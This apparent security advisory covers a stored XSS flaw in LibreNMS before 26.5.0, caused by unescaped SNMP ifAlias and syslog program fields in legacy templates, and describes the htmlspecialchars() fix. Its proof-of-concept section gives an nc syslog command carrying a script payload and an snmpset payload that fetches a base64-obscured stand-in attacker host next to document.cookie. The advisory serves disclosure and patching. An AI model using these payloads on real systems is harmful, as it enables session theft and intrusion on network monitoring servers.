high · 7.1Aug 26, 2026

LibreNMS Stored XSS via Unescaped SNMP and Syslog Data in Legacy Templates

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An attacker who controls a monitored network device can inject JavaScript into LibreNMS by setting a malicious SNMP interface description or syslog program name, which then executes in every…

Packagelibrenms/librenms
Ecosystemcomposer
Affected< 26.5.0
Fixed in26.5.0
LibreNMS Stored XSS via Unescaped SNMP and Syslog Data in Legacy Templates

The problem

Multiple legacy PHP template files in LibreNMS echo SNMP-polled and syslog-sourced values directly into HTML with no output escaping. Affected fields include ifAlias, mempool_descr, storage_descr, sensor_descr, bgpPeerDescr, service_desc, and the syslog program field.

The syslog program field is the clearest case: msg right next to it is correctly wrapped in htmlspecialchars(), but program is not. The SNMP ifAlias path is the highest-impact vector because it renders on the main alerts page for every port-related alert, hitting all authenticated users at once.

Proof of concept

A working proof-of-concept for this issue in librenms/librenms, with the exact payload below.

bash
# Vector 1: Syslog (simplest, no prior device access needed)
# Send a syslog UDP packet with XSS in the program field.
# Replace 10.0.0.1 with your LibreNMS syslog receiver address.
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514

# Vector 2: SNMP ifAlias (highest impact, triggers on every port alert)
# On an attacker-controlled device, set the interface description via SNMP:
snmpset -v2c -c private <device-ip> IF-MIB::ifAlias.1 s '<img src=x onerror="fetch(atob(\"aHR0cHM6Ly9ldmlsLmNvbS8=\"))+document.cookie">'

The root cause is a classic CWE-79 failure in legacy PHP includes: data received from the network (via SNMP poll or syslog UDP) is written to the database without sanitization, then rendered into HTML without htmlspecialchars(). The patch (PR #19660, commit 6782af9) wraps each affected field in htmlspecialchars() or e() (Laravel's escape helper), mirroring how the adjacent msg field was already handled.

The inconsistency is particularly telling in print-syslog.inc.php: msg was escaped but program was not, in the same string concatenation. The fix is mechanical but the blast radius is wide because the same unescaped fields surface across six different template files.

The fix

Upgrade to LibreNMS 26.5.0 or later. The fix is in PR #19660 (commit 6782af940c3c495755923b520a302f3a1cb1ce6b): every affected legacy template now wraps SNMP-sourced and syslog-sourced fields in htmlspecialchars() before output. No configuration workaround exists for older versions because the data is stored raw in the database and the escaping must happen at render time.

Reported by laf (LibreNMS maintainer).

References: [1][2][3][4][5][6]

Related research